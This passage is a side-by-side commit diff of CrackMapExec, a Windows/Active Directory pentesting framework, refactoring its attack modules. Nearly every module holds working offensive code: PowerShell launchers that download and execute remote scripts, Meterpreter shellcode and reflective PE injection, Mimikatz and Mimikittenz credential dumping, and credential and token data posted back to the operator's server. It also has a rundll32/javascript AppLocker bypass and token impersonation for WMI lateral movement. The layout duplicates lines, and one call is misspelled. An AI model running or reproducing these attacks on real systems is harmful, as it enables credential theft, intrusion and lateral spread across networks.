self.lhost = module_options['LHOST'] self.lhost = module_options['LHOST']
self.lport = module_options['LPORT'] self.lport = module_options['LPORT']
self.obfs_name = gen_random_string()
def on_admin_login(self, context, connection): def launcher(self, context, command):
#PowerSploit's 3.0 update removed the Meterpreter injection options in Invoke-Shellcode #PowerSploit's 3.0 update removed the Meterpreter injection options in Invoke-Shellcode
#so now we have to manually generate a valid Meterpreter request URL and download + exec the staged shellcode #so now we have to manually generate a valid Meterpreter request URL and download + exec the staged shellcode
payload = """ launcher = """
IEX (New-Object Net.WebClient).DownloadString('{}://{}:{}/Invoke-Shellcode.ps1') IEX (New-Object Net.WebClient).DownloadString('{}://{}:{}/Invoke-Shellcode.ps1')
$CharArray = 48..57 + 65..90 + 97..122 | ForEach-Object {{[Char]$_}} $CharArray = 48..57 + 65..90 + 97..122 | ForEach-Object {{[Char]$_}}
$SumTest = $False $SumTest = $False
@ -54,30 +56,32 @@ class CMEModule:
$Request = "{}://{}:{}/$($RequestUri)" $Request = "{}://{}:{}/$($RequestUri)"
$WebClient = New-Object System.Net.WebClient $WebClient = New-Object System.Net.WebClient
[Byte[]]$bytes = $WebClient.DownloadData($Request) [Byte[]]$bytes = $WebClient.DownloadData($Request)
Invoke-{} -Force -Shellcode $bytes""".format(context.server, Invoke-Shellcode -Force -Shellcode $bytes""".format(context.server,
context.localip, context.localip,
context.server_port, context.server_port,
'http' if self.met_payload == 'reverse_http' else 'https', 'http' if self.met_payload == 'reverse_http' else 'https',
self.lhost, self.lhost,
self.lport, self.lport)
self.obfs_name)
if self.procid: if self.procid:
payload += " -ProcessID {}".format(self.procid) launcher += " -ProcessID {}".format(self.procid)
context.log.debug('Payload:{}'.format(payload)) return create_ps_command(launcher, force_ps32=True)
payload = create_ps_command(payload, force_ps32=True)
connection.execute(payload)
context.log.success('Executed payload')
def on_request(self, context, request): def payload(self, context, command):
with open(get_ps_script('PowerSploit/CodeExecution/Invoke-Shellcode.ps1'), 'r') as ps_script:
return obfs_ps_script(ps_script.read())
def on_admin_login(self, context, connection, launcher, payload):
connection.execute(launcher)
context.log.success('Executed launcher')
def on_request(self, context, request, launcher, payload):
if 'Invoke-Shellcode.ps1' == request.path[1:]: if 'Invoke-Shellcode.ps1' == request.path[1:]:
request.send_response(200) request.send_response(200)
request.end_headers() request.end_headers()
with open(get_ps_script('PowerSploit/CodeExecution/Invoke-Shellcode.ps1'), 'r') as ps_script: request.wfile.write(payload)
ps_script = obfs_ps_script(ps_script.read(), self.obfs_name)
request.wfile.write(ps_script)
request.stop_tracking_host() request.stop_tracking_host()

View File

@ -1,4 +1,4 @@
from cme.helpers import create_ps_command, get_ps_script, obfs_ps_script, gen_random_string, validate_ntlm, write_log from cme.helpers import create_ps_command, get_ps_script, obfs_ps_script, validate_ntlm, write_log
from datetime import datetime from datetime import datetime
import re import re
@ -12,25 +12,24 @@ class CMEModule:
description = "Executes PowerSploit's Invoke-Mimikatz.ps1 script" description = "Executes PowerSploit's Invoke-Mimikatz.ps1 script"
chain_support = False
def options(self, context, module_options): def options(self, context, module_options):
''' '''
COMMAND Mimikatz command to execute (default: 'sekurlsa::logonpasswords') COMMAND Mimikatz command to execute (default: 'sekurlsa::logonpasswords')
''' '''
self.mimikatz_command = 'privilege::debug sekurlsa::logonpasswords exit' self.command = 'privilege::debug sekurlsa::logonpasswords exit'
if module_options and 'COMMAND' in module_options: if module_options and 'COMMAND' in module_options:
self.mimikatz_command = module_options['COMMAND'] self.command = module_options['COMMAND']
#context.log.debug("Mimikatz command: '{}'".format(self.mimikatz_command)) #context.log.debug("Mimikatz command: '{}'".format(self.mimikatz_command))
self.obfs_name = gen_random_string() def launcher(self, context, command):
launcher = '''
def on_admin_login(self, context, connection):
payload = '''
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-Mimikatz.ps1'); IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-Mimikatz.ps1');
$creds = Invoke-{func_name} -Command '{command}'; $creds = Invoke-Mimikatz -Command '{command}';
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/'); $request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
$request.Method = 'POST'; $request.Method = 'POST';
$request.ContentType = 'application/x-www-form-urlencoded'; $request.ContentType = 'application/x-www-form-urlencoded';
@ -42,22 +41,24 @@ class CMEModule:
$request.GetResponse();'''.format(server=context.server, $request.GetResponse();'''.format(server=context.server,
port=context.server_port, port=context.server_port,
addr=context.localip, addr=context.localip,
func_name=self.obfs_name, command=command)
command=self.mimikatz_command)
return create_ps_command(launcher)
context.log.debug('Payload: {}'.format(payload)) def payload(self, context, command):
payload = create_ps_command(payload) with open(get_ps_script('Invoke-Mimikatz.ps1'), 'r') as ps_script:
connection.execute(payload) return obfs_ps_script(ps_script.read())
context.log.success('Executed payload')
def on_request(self, context, request): def on_admin_login(self, context, connection, launcher, payload):
connection.execute(launcher)
context.log.success('Executed launcher')
def on_request(self, context, request, launcher, payload):
if 'Invoke-Mimikatz.ps1' == request.path[1:]: if 'Invoke-Mimikatz.ps1' == request.path[1:]:
request.send_response(200) request.send_response(200)
request.end_headers() request.end_headers()
with open(get_ps_script('Invoke-Mimikatz.ps1'), 'r') as ps_script: request.wfile.write(payload)
ps_script = obfs_ps_script(ps_script.read(), self.obfs_name)
request.wfile.write(ps_script)
else: else:
request.send_response(404) request.send_response(404)

View File

@ -1,4 +1,4 @@
from cme.helpers import create_ps_command, obfs_ps_script, get_ps_script, write_log, gen_random_string from cme.helpers import create_ps_command, obfs_ps_script, get_ps_script, write_log
from StringIO import StringIO from StringIO import StringIO
from datetime import datetime from datetime import datetime
from sys import exit from sys import exit
@ -13,17 +13,17 @@ class CMEModule:
description = "Executes Mimikittenz" description = "Executes Mimikittenz"
chain_support = False
def options(self, context, module_options): def options(self, context, module_options):
''' '''
''' '''
return
self.obfs_name = gen_random_string() def launcher(self, context, command):
launcher = '''
def on_admin_login(self, context, connection):
payload = '''
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-mimikittenz.ps1'); IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-mimikittenz.ps1');
$data = Invoke-{command}; $data = Invoke-Mimikittenz;
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/'); $request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
$request.Method = 'POST'; $request.Method = 'POST';
$request.ContentType = 'application/x-www-form-urlencoded'; $request.ContentType = 'application/x-www-form-urlencoded';
@ -34,22 +34,24 @@ class CMEModule:
$requestStream.Close(); $requestStream.Close();
$request.GetResponse();'''.format(server=context.server, $request.GetResponse();'''.format(server=context.server,
port=context.server_port, port=context.server_port,
addr=context.localip, addr=context.localip)
command=self.obfs_name)
context.log.debug('Payload: {}'.format(payload)) return create_ps_command(launcher)
payload = create_ps_command(payload)
connection.execute(payload)
context.log.success('Executed payload')
def on_request(self, context, request): def payload(self, context, command):
with open(get_ps_script('mimikittenz/Invoke-mimikittenz.ps1'), 'r') as ps_script:
return obfs_ps_script(ps_script.read())
def on_admin_login(self, context, connection, launcher, payload):
connection.execute(launcher)
context.log.success('Executed launcher')
def on_request(self, context, request, launcher, payload):
if 'Invoke-mimikittenz.ps1' == request.path[1:]: if 'Invoke-mimikittenz.ps1' == request.path[1:]:
request.send_response(200) request.send_response(200)
request.end_headers() request.end_headers()
with open(get_ps_script('mimikittenz/Invoke-mimikittenz.ps1'), 'r') as ps_script: request.wfile.write(payload)
ps_script = obfs_ps_script(ps_script.read(), function_name=self.obfs_name)
request.wfile.write(ps_script)
else: else:
request.send_response(404) request.send_response(404)

View File

@ -1,4 +1,4 @@
from cme.helpers import gen_random_string, create_ps_command, obfs_ps_script, get_ps_script from cme.helpers import create_ps_command, obfs_ps_script, get_ps_script
from sys import exit from sys import exit
import os import os
@ -7,10 +7,12 @@ class CMEModule:
Downloads the specified DLL/EXE and injects it into memory using PowerSploit's Invoke-ReflectivePEInjection.ps1 script Downloads the specified DLL/EXE and injects it into memory using PowerSploit's Invoke-ReflectivePEInjection.ps1 script
Module by @byt3bl33d3r Module by @byt3bl33d3r
''' '''
name = 'peinject' name = 'pe_inject'
description = "Downloads the specified DLL/EXE and injects it into memory using PowerSploit's Invoke-ReflectivePEInjection.ps1 script" description = "Downloads the specified DLL/EXE and injects it into memory using PowerSploit's Invoke-ReflectivePEInjection.ps1 script"
chain_support = False
def options(self, context, module_options): def options(self, context, module_options):
''' '''
PATH Path to dll/exe to inject PATH Path to dll/exe to inject
@ -36,39 +38,39 @@ class CMEModule:
if 'EXEARGS' in module_options: if 'EXEARGS' in module_options:
self.exeargs = module_options['EXEARGS'] self.exeargs = module_options['EXEARGS']
self.obfs_name = gen_random_string() def launcher(self, context, command):
launcher = """
def on_admin_login(self, context, connection):
payload = """
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-ReflectivePEInjection.ps1'); IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-ReflectivePEInjection.ps1');
$WebClient = New-Object System.Net.WebClient; $WebClient = New-Object System.Net.WebClient;
[Byte[]]$bytes = $WebClient.DownloadData('{server}://{addr}:{port}/{pefile}'); [Byte[]]$bytes = $WebClient.DownloadData('{server}://{addr}:{port}/{pefile}');
Invoke-{func_name} -PEBytes $bytes""".format(server=context.server, Invoke-ReflectivePEInjection -PEBytes $bytes""".format(server=context.server,
port=context.server_port, port=context.server_port,
addr=context.localip, addr=context.localip,
func_name=self.obfs_name,
pefile=os.path.basename(self.payload_path)) pefile=os.path.basename(self.payload_path))
if self.procid: if self.procid:
payload += ' -ProcessID {}'.format(self.procid) launcher += ' -ProcessID {}'.format(self.procid)
if self.exeargs: if self.exeargs:
payload += ' -ExeArgs "{}"'.format(self.exeargs) launcher += ' -ExeArgs "{}"'.format(self.exeargs)
context.log.debug('Payload:{}'.format(payload)) return create_ps_command(launcher, force_ps32=True)
payload = create_ps_command(payload, force_ps32=True)
connection.execute(payload)
context.log.success('Executed payload')
def on_request(self, context, request): def payload(self, context, command):
with open(get_ps_script('PowerSploit/CodeExecution/Invoke-ReflectivePEInjection.ps1'), 'r') as ps_script:
return obfs_ps_script(ps_script.read())
def on_admin_login(self, context, connection, launcher, payload):
connection.execute(launcher)
context.log.success('Executed launcher')
def on_request(self, context, request, launcher, payload):
if 'Invoke-ReflectivePEInjection.ps1' == request.path[1:]: if 'Invoke-ReflectivePEInjection.ps1' == request.path[1:]:
request.send_response(200) request.send_response(200)
request.end_headers() request.end_headers()
with open(get_ps_script('PowerSploit/CodeExecution/Invoke-ReflectivePEInjection.ps1'), 'r') as ps_script:
ps_script = obfs_ps_script(ps_script.read(), self.obfs_name) request.wfile.write(launcher)
request.wfile.write(ps_script)
elif os.path.basename(self.payload_path) == request.path[1:]: elif os.path.basename(self.payload_path) == request.path[1:]:
request.send_response(200) request.send_response(200)

View File

@ -13,24 +13,39 @@ class CMEModule:
description = "Wrapper for PowerView's functions" description = "Wrapper for PowerView's functions"
chain_support = False
def options(self, context, module_options): def options(self, context, module_options):
''' '''
COMMAND Powerview command to run COMMAND Command to execute on the target system(s) (Required if CMDFILE isn't specified)
CMDFILE File contaning the command to execute on the target system(s) (Required if CMD isn't specified)
''' '''
self.command = None if not 'COMMAND' in module_options and not 'CMDFILE' in module_options:
if not 'COMMAND' in module_options: context.log.error('COMMAND or CMDFILE options are required!')
context.log.error('COMMAND option is required!') exit(1)
if 'COMMAND' in module_options and 'CMDFILE' in module_options:
context.log.error('COMMAND and CMDFILE are mutually exclusive!')
exit(1) exit(1)
if 'COMMAND' in module_options: if 'COMMAND' in module_options:
self.command = module_options['COMMAND'] self.command = module_options['COMMAND']
def on_admin_login(self, context, connection): elif 'CMDFILE' in module_options:
path = os.path.expanduser(module_options['CMDFILE'])
powah_command = self.command + ' | Out-String' if not os.path.exists(path):
context.log.error('Path to CMDFILE invalid!')
exit(1)
payload = ''' with open(path, 'r') as cmdfile:
self.command = cmdfile.read().strip()
def launcher(self, context, command):
powah_command = command + ' | Out-String'
launcher = '''
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/PowerView.ps1'); IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/PowerView.ps1');
$data = {command} $data = {command}
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/'); $request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
@ -46,19 +61,22 @@ class CMEModule:
addr=context.localip, addr=context.localip,
command=powah_command) command=powah_command)
context.log.debug('Payload: {}'.format(payload)) return create_ps_command(launcher)
payload = create_ps_command(payload)
connection.execute(payload, methods=['atexec', 'smbexec']) def payload(self, context, command):
context.log.success('Executed payload') with open(get_ps_script('PowerSploit/Recon/PowerView.ps1'), 'r') as ps_script:
return obfs_ps_script(ps_script.read())
def on_admin_login(self, context, connection, launcher, payload):
connection.execute(launcher, methods=['atexec', 'smbexec'])
context.log.success('Executed launcher')
def on_request(self, context, request): def on_request(self, context, request):
if 'PowerView.ps1' == request.path[1:]: if 'PowerView.ps1' == request.path[1:]:
request.send_response(200) request.send_response(200)
request.end_headers() request.end_headers()
with open(get_ps_script('PowerSploit/Recon/PowerView.ps1'), 'r') as ps_script: request.wfile.write(ps_script)
ps_script = obfs_ps_script(ps_script.read())
request.wfile.write(ps_script)
else: else:
request.send_response(404) request.send_response(404)

View File

@ -0,0 +1,51 @@
class CMEModule:
'''
AppLocker bypass using rundll32 and Windows native javascript interpreter
Module by @byt3bl33d3r
'''
name = 'rundll32_exec'
description = 'Executes a command using rundll32 and Windows\'s native javascript interpreter'
#If the module supports chaining, change this to True
chain_support = True
def options(self, context, module_options):
'''
COMMAND Command to execute on the target system(s) (Required if CMDFILE isn't specified)
CMDFILE File contaning the command to execute on the target system(s) (Required if CMD isn't specified)
'''
if not 'COMMAND' in module_options and not 'CMDFILE' in module_options:
context.log.error('COMMAND or CMDFILE options are required!')
exit(1)
if 'COMMAND' in module_options and 'CMDFILE' in module_options:
context.log.error('COMMAND and CMDFILE are mutually exclusive!')
exit(1)
if 'COMMAND' in module_options:
self.command = module_options['COMMAND']
elif 'CMDFILE' in module_options:
path = os.path.expanduser(module_options['CMDFILE'])
if not os.path.exists(path):
context.log.error('Path to CMDFILE invalid!')
exit(1)
with open(path, 'r') as cmdfile:
self.command = cmdfile.read().strip()
def launcher(self, context, command):
launcher = 'rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("{}");'.format(command)
return launcher
def payload(self, context, command):
return
def on_admin_login(self, context, connection, launcher, payload):
connection.execute(launcher)
context.log.success('Executed command')

View File

@ -1,16 +1,18 @@
import os from cme.helpers import create_ps_command, obfs_ps_script, get_ps_script
from cme.helpers import gen_random_string, create_ps_command, obfs_ps_script, get_ps_script
from sys import exit from sys import exit
import os
class CMEModule: class CMEModule:
''' '''
Downloads the specified raw shellcode and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script Downloads the specified raw shellcode and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script
Module by @byt3bl33d3r Module by @byt3bl33d3r
''' '''
name = 'shellinject' name = 'shellcode_inject'
description = "Downloads the specified raw shellcode and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script" description = "Downloads the specified raw shellcode and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script"
chain_support = False
def options(self, context, module_options): def options(self, context, module_options):
''' '''
PATH Path to the raw shellcode to inject PATH Path to the raw shellcode to inject
@ -31,36 +33,35 @@ class CMEModule:
if 'PROCID' in module_options.keys(): if 'PROCID' in module_options.keys():
self.procid = module_options['PROCID'] self.procid = module_options['PROCID']
self.obfs_name = gen_random_string() def launcher(self, context, command):
launcher = """
def on_admin_login(self, context, connection):
payload = """
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-Shellcode.ps1'); IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-Shellcode.ps1');
$WebClient = New-Object System.Net.WebClient; $WebClient = New-Object System.Net.WebClient;
[Byte[]]$bytes = $WebClient.DownloadData('{server}://{addr}:{port}/{shellcode}'); [Byte[]]$bytes = $WebClient.DownloadData('{server}://{addr}:{port}/{shellcode}');
Invoke-{func_name} -Force -Shellcode $bytes""".format(server=context.server, Invoke-Shellcode -Force -Shellcode $bytes""".format(server=context.server,
port=context.server_port, port=context.server_port,
addr=context.localip, addr=context.localip,
func_name=self.obfs_name,
shellcode=os.path.basename(self.shellcode_path)) shellcode=os.path.basename(self.shellcode_path))
if self.procid: if self.procid:
payload += ' -ProcessID {}'.format(self.procid) launcher += ' -ProcessID {}'.format(self.procid)
context.log.debug('Payload:{}'.format(payload)) return create_ps_command(launcher, force_ps32=True)
payload = create_ps_command(payload, force_ps32=True)
connection.execute(payload)
context.log.success('Executed payload')
def on_request(self, context, request): def payload(self, context, command):
with open(get_ps_script('Powersploit/CodeExecution/Invoke-Shellcode.ps1') ,'r') as ps_script:
return obfs_ps_script(ps_script.read())
def on_admin_login(self, context, connection, launcher, payload):
connection.execute(launcher)
context.log.success('Executed launcher')
def on_request(self, context, request, launcher, payload):
if 'Invoke-Shellcode.ps1' == request.path[1:]: if 'Invoke-Shellcode.ps1' == request.path[1:]:
request.send_response(200) request.send_response(200)
request.end_headers() request.end_headers()
with open(get_ps_script('Powersploit/CodeExecution/Invoke-Shellcode.ps1') ,'r') as ps_script: request.wfile.write(payload)
ps_script = obfs_ps_script(ps_script.read(), self.obfs_name)
request.wfile.write(ps_script)
elif os.path.basename(self.shellcode_path) == request.path[1:]: elif os.path.basename(self.shellcode_path) == request.path[1:]:
request.send_response(200) request.send_response(200)

View File

@ -1,5 +1,5 @@
from StringIO import StringIO from StringIO import StringIO
from cme.helpers import create_ps_command, gen_random_string, obfs_ps_script, get_ps_script from cme.helpers import create_ps_command, obfs_ps_script, get_ps_script
from base64 import b64encode from base64 import b64encode
import sys import sys
import os import os
@ -16,16 +16,18 @@ class CMEModule:
Module by @byt3bl33d3r Module by @byt3bl33d3r
''' '''
name = 'tokenrider' name = 'token_rider'
description = 'Allows for automatic token enumeration, impersonation and mass lateral spread using privileges instead of dumped credentials' description = 'Allows for automatic token enumeration, impersonation and mass lateral spread using privileges instead of dumped credentials'
chain_support = True
def options(self, context, module_options): def options(self, context, module_options):
''' '''
TARGET Target machine(s) to execute the command on (comma seperated) TARGET Target machine(s) to execute the command on (comma seperated)
USER User to impersonate USER User to impersonate
DOMAIN Domain of the user to impersonate DOMAIN Domain of the user to impersonate
CMD Command to execute on the target system(s) (Required if CMDFILE isn't specified) COMMAND Command to execute on the target system(s) (Required if CMDFILE isn't specified)
CMDFILE File contaning the command to execute on the target system(s) (Required if CMD isn't specified) CMDFILE File contaning the command to execute on the target system(s) (Required if CMD isn't specified)
''' '''
@ -33,20 +35,21 @@ class CMEModule:
context.log.error('TARGET, USER and DOMAIN options are required!') context.log.error('TARGET, USER and DOMAIN options are required!')
sys.exit(1) sys.exit(1)
if not 'CMD' in module_options and not 'CMDFILE' in module_options: if not 'COMMAND' in module_options and not 'CMDFILE' in module_options:
context.log.error('CMD or CMDFILE options are required!') context.log.error('COMMAND or CMDFILE options are required!')
sys.exit(1) sys.exit(1)
if 'CMD' in module_options and 'CMDFILE' in module_options: if 'COMMAND' in module_options and 'CMDFILE' in module_options:
context.log.error('CMD and CMDFILE are mutually exclusive!') context.log.error('COMMAND and CMDFILE are mutually exclusive!')
sys.exit(1) sys.exit(1)
self.target_computers = '' self.target_computers = ''
self.target_user = module_options['USER'] self.target_user = module_options['USER']
self.target_domain = module_options['DOMAIN'] self.target_domain = module_options['DOMAIN']
if 'CMD' in module_options: if 'COMMAND' in module_options:
self.command = module_options['CMD'] self.command = module_options['COMMAND']
elif 'CMDFILE' in module_options: elif 'CMDFILE' in module_options:
path = os.path.expanduser(module_options['CMDFILE']) path = os.path.expanduser(module_options['CMDFILE'])
@ -62,12 +65,9 @@ class CMEModule:
self.target_computers += '"{}",'.format(target) self.target_computers += '"{}",'.format(target)
self.target_computers = self.target_computers[:-1] self.target_computers = self.target_computers[:-1]
self.obfs_name = gen_random_string()
#context.log.debug('Target system string: {}'.format(self.target_computers)) #context.log.debug('Target system string: {}'.format(self.target_computers))
def on_admin_login(self, context, connection): def launcher(self, context, command):
second_stage = ''' second_stage = '''
[Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}}; [Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/TokenRider.ps1');'''.format(server=context.server, IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/TokenRider.ps1');'''.format(server=context.server,
@ -75,8 +75,8 @@ class CMEModule:
port=context.server_port) port=context.server_port)
context.log.debug(second_stage) context.log.debug(second_stage)
#Main payload #Main launcher
payload = ''' launcher = '''
function Send-POSTRequest {{ function Send-POSTRequest {{
[CmdletBinding()] [CmdletBinding()]
Param ( Param (
@ -94,7 +94,7 @@ class CMEModule:
}} }}
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-TokenManipulation.ps1'); IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-TokenManipulation.ps1');
$tokens = Invoke-{obfs_func} -Enum; $tokens = Invoke-TokenManipulation -Enum;
foreach ($token in $tokens){{ foreach ($token in $tokens){{
if ($token.Domain -eq "{domain}" -and $token.Username -eq "{user}"){{ if ($token.Domain -eq "{domain}" -and $token.Username -eq "{user}"){{
@ -103,31 +103,72 @@ class CMEModule:
$post_back = $post_back + $token_desc; $post_back = $post_back + $token_desc;
Send-POSTRequest $post_back Send-POSTRequest $post_back
Invoke-{obfs_func} -Username "{domain}\\{user}" -CreateProcess "cmd.exe" -ProcessArgs "/c powershell.exe -exec bypass -window hidden -noni -nop -encoded {command}"; Invoke-TokenManipulation -Username "{domain}\\{user}" -CreateProcess "cmd.exe" -ProcessArgs "/c powershell.exe -exec bypass -window hidden -noni -nop -encoded {command}";
return return
}} }}
}} }}
Send-POSTRequest "User token not present on system!"'''.format(obfs_func=self.obfs_name, Send-POSTRequest "User token not present on system!"'''.format(command=b64encode(second_stage.encode('UTF-16LE')),
command=b64encode(second_stage.encode('UTF-16LE')),
server=context.server, server=context.server,
addr=context.localip, addr=context.localip,
port=context.server_port, port=context.server_port,
user=self.target_user, user=self.target_user,
domain=self.target_domain) domain=self.target_domain)
context.log.debug(payload) return create_ps_command(launcher)
payload = create_ps_command(payload)
connection.execute(payload, methods=['atexec', 'smbexec'])
context.log.success('Executed payload')
def on_request(self, context, request): def payload(self, context, command):
command_to_execute = 'cmd.exe /c {}'.format(command)
#context.log.debug(command_to_execute)
#This will get executed in the process that was created with the impersonated token
payload = '''
[Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};
function Send-POSTRequest {{
[CmdletBinding()]
Param (
[string] $data
)
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
$request.Method = 'POST';
$request.ContentType = 'application/x-www-form-urlencoded';
$bytes = [System.Text.Encoding]::ASCII.GetBytes($data);
$request.ContentLength = $bytes.Length;
$requestStream = $request.GetRequestStream();
$requestStream.Write( $bytes, 0, $bytes.Length );
$requestStream.Close();
$request.GetResponse();
}}
$post_output = "";
$targets = @({targets});
foreach ($target in $targets){{
try{{
Invoke-WmiMethod -Path Win32_process -Name create -ComputerName $target -ArgumentList "{command}";
$post_output = $post_output + "Executed command on $target! `n";
}} catch {{
$post_output = $post_output + "Error executing command on $target $_.Exception.Message `n";
}}
}}
Send-POSTRequest $post_output'''.format(server=context.server,
addr=context.localip,
port=context.server_port,
targets=self.target_computers,
command=command_to_execute)
return payload
def on_admin_login(self, context, connection, launcher, payload):
connection.execute(launcher, methods=['atexec', 'smbexec'])
context.log.success('Executed launcher')
def on_request(self, context, request, launcher, payload):
if 'Invoke-TokenManipulation.ps1' == request.path[1:]: if 'Invoke-TokenManipulation.ps1' == request.path[1:]:
request.send_response(200) request.send_response(200)
request.end_headers() request.end_headers()
with open(get_ps_script('PowerSploit/Exfiltration/Invoke-TokenManipulation.ps1'), 'r') as ps_script: with open(get_ps_script('PowerSploit/Exfiltration/Invoke-TokenManipulation.ps1'), 'r') as ps_script:
ps_script = obfs_ps_script(ps_script.read(), self.obfs_name) ps_script = obfs_ps_script(ps_script.read())
request.wfile.write(ps_script) request.wfile.write(ps_script)
elif 'TokenRider.ps1' == request.path[1:]: elif 'TokenRider.ps1' == request.path[1:]:
@ -135,45 +176,7 @@ class CMEModule:
request.end_headers() request.end_headers()
#Command to execute on the target system(s) #Command to execute on the target system(s)
command_to_execute = 'cmd.exe /c {}'.format(self.command) request.wfile.write(payload)
#context.log.debug(command_to_execute)
#This will get executed in the process that was created with the impersonated token
elevated_ps_command = '''
[Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};
function Send-POSTRequest {{
[CmdletBinding()]
Param (
[string] $data
)
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
$request.Method = 'POST';
$request.ContentType = 'application/x-www-form-urlencoded';
$bytes = [System.Text.Encoding]::ASCII.GetBytes($data);
$request.ContentLength = $bytes.Length;
$requestStream = $request.GetRequestStream();
$requestStream.Write( $bytes, 0, $bytes.Length );
$requestStream.Close();
$request.GetResponse();
}}
$post_output = "";
$targets = @({targets});
foreach ($target in $targets){{
try{{
Invoke-WmiMethod -Path Win32_process -Name create -ComputerName $target -ArgumentList "{command}";
$post_output = $post_output + "Executed command on $target! `n";
}} catch {{
$post_output = $post_output + "Error executing command on $target $_.Exception.Message `n";
}}
}}
Send-POSTRequest $post_output'''.format(server=context.server,
addr=context.localip,
port=context.server_port,
targets=self.target_computers,
command=command_to_execute)
request.wfile.write(elevated_ps_command)
else: else:
request.send_response(404) request.send_response(404)

View File

@ -1,4 +1,4 @@
from cme.helpers import create_ps_command, obfs_ps_script, gen_random_string, get_ps_script, write_log from cme.helpers import create_ps_command, obfs_ps_script, get_ps_script, write_log
from datetime import datetime from datetime import datetime
from StringIO import StringIO from StringIO import StringIO
import os import os
@ -14,6 +14,8 @@ class CMEModule:
description = "Enumerates available tokens using Powersploit's Invoke-TokenManipulation" description = "Enumerates available tokens using Powersploit's Invoke-TokenManipulation"
chain_support = False
def options(self, context, module_options): def options(self, context, module_options):
''' '''
USER Search for the specified username in available tokens (default: None) USER Search for the specified username in available tokens (default: None)
@ -39,13 +41,10 @@ class CMEModule:
self.userfile = path self.userfile = path
self.obfs_name = gen_random_string() def launcher(self, context, command):
launcher = '''
def on_admin_login(self, context, connection):
payload = '''
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-TokenManipulation.ps1'); IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-TokenManipulation.ps1');
$creds = Invoke-{func_name} -Enumerate | Select-Object Domain, Username, ProcessId, IsElevated | Out-String; $creds = Invoke-TokenManipulation -Enumerate | Select-Object Domain, Username, ProcessId, IsElevated | Out-String;
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/'); $request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
$request.Method = 'POST'; $request.Method = 'POST';
$request.ContentType = 'application/x-www-form-urlencoded'; $request.ContentType = 'application/x-www-form-urlencoded';
@ -56,22 +55,24 @@ class CMEModule:
$requestStream.Close(); $requestStream.Close();
$request.GetResponse();'''.format(server=context.server, $request.GetResponse();'''.format(server=context.server,
port=context.server_port, port=context.server_port,
addr=context.localip, addr=context.localip)
func_name=self.obfs_name)
context.log.debug('Payload: {}'.format(payload)) return reate_ps_command(launcher)
payload = create_ps_command(payload)
connection.execute(payload)
context.log.success('Executed payload')
def on_request(self, context, request): def payload(self, context, command):
with open(get_ps_script('PowerSploit/Exfiltration/Invoke-TokenManipulation.ps1'), 'r') as ps_script:
return obfs_ps_script(ps_script.read())
def on_admin_login(self, context, connection, launcher, payload):
connection.execute(launcher)
context.log.success('Executed launcher')
def on_request(self, context, request, launcher, payload):
if 'Invoke-TokenManipulation.ps1' == request.path[1:]: if 'Invoke-TokenManipulation.ps1' == request.path[1:]:
request.send_response(200) request.send_response(200)
request.end_headers() request.end_headers()
with open(get_ps_script('PowerSploit/Exfiltration/Invoke-TokenManipulation.ps1'), 'r') as ps_script: request.wfile.write(payload)
ps_script = obfs_ps_script(ps_script.read(), self.obfs_name)
request.wfile.write(ps_script)
else: else:
request.send_response(404) request.send_response(404)

View File

@ -3,6 +3,7 @@ from setuptools import setup, find_packages
setup(name='crackmapexec', setup(name='crackmapexec',
version='3.1.5-dev', version='3.1.5-dev',
description='A swiss army knife for pentesting Windows/Active Directory environments', description='A swiss army knife for pentesting Windows/Active Directory environments',
dependency_links = ['https://github.com/CoreSecurity/impacket/tarball/master#egg=impacket-0.9.16dev'],
classifiers=[ classifiers=[
'License :: OSI Approved :: BSD License', 'License :: OSI Approved :: BSD License',
'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 2.7',
@ -16,7 +17,7 @@ setup(name='crackmapexec',
"cme", "cme.*" "cme", "cme.*"
]), ]),
install_requires=[ install_requires=[
'impacket>=0.9.15', 'impacket>=0.9.16dev',
'gevent', 'gevent',
'netaddr', 'netaddr',
'pyOpenSSL', 'pyOpenSSL',